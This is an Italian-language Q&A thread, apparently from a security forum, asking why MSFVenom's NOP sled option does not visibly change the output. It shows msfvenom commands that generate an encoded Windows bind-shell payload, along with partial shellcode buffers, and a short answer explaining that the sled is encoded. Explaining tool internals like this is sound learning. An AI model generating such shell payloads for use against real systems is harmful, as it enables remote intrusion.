Come funziona la slitta NOP con MSFVenom? [chiuso]

0

Sto generando payload con MSFVenom ed ecco un esempio di output:

user@localhost:~ $ msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d\x20' -i 3 -n 200 -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai succeeded with size 382 (iteration=1)
x86/shikata_ga_nai succeeded with size 409 (iteration=2)
Successfully added NOP sled from x86/opty2
buf =  ""
buf += "\xb1\xbb\x92\xb5\xba\x3d\xb3\x7f\x78\x75\x3f\xa8\x70"
buf += "\x7e\x7f\x78\x73\x76\x7d\x79\x71\x72\x08\xe2\x3d\x89"
...
buf += "\xd7\x7d\x08\xa6\xbf\x4d\x40\x33\xd1\x3c\x45\x60\x0c"
buf += "\xfe\x3e\xbc\x2f\x68\x12\x79\x54\xe1\x52\x49"

In questo caso l'opzione -n 200 consiste nell'appendere un slepper NOP da 200 byte, ma non è visibile nel payload. Suppongo che stia usando un qualche tipo di codifica per la slitta NOP (è ciò che Successfully added NOP sled from x86/opty2 significa?)

Quello che sto cercando di capire: lo scopo di una slitta NOP è di scivolare nello shellcode, se la slitta NOP ha bisogno di essere decodificata per prima, non ha battuto il punto? Qual è il vantaggio qui?

EDIT:

Ecco un esempio di output senza -n 200 . Non capisco come potrebbe essere la stessa lunghezza totale.

user@localhost:~ $ msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d\x20' -i 3 -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai succeeded with size 382 (iteration=1)
x86/shikata_ga_nai succeeded with size 409 (iteration=2)
buf =  ""
buf += "\xda\xdf\xba\x09\x7e\x1f\x39\xd9\x74\x24\xf4\x58\x2b"
...
buf += "\xab\xbe\x3e\x2e\x12\xf8\x76\xb1\xad\x34\x21\x43\x21"
buf += "\xd8\xe1\xf8\x2e\x3d\x5b"

L'unica differenza è la mancanza della linea   Successfully added NOP sled from x86/opty2

    
posta Juicy 17.03.2015 - 22:15
fonte

1 risposta

2

La tua slitta NOP è lì, è solo codificata. Se si confronta l'output finale effettivo, è possibile vedere che i 2 buffer hanno lunghezze diverse se non si utilizza una slitta.

La riga: 86/shikata_ga_nai succeeded with size 355 indica la dimensione del payload principale prima dell'appendice della slitta, in modo che la dimensione riportata non differisca con o senza una slitta.

    
risposta data 17.03.2015 - 22:37
fonte

Leggi altre domande sui tag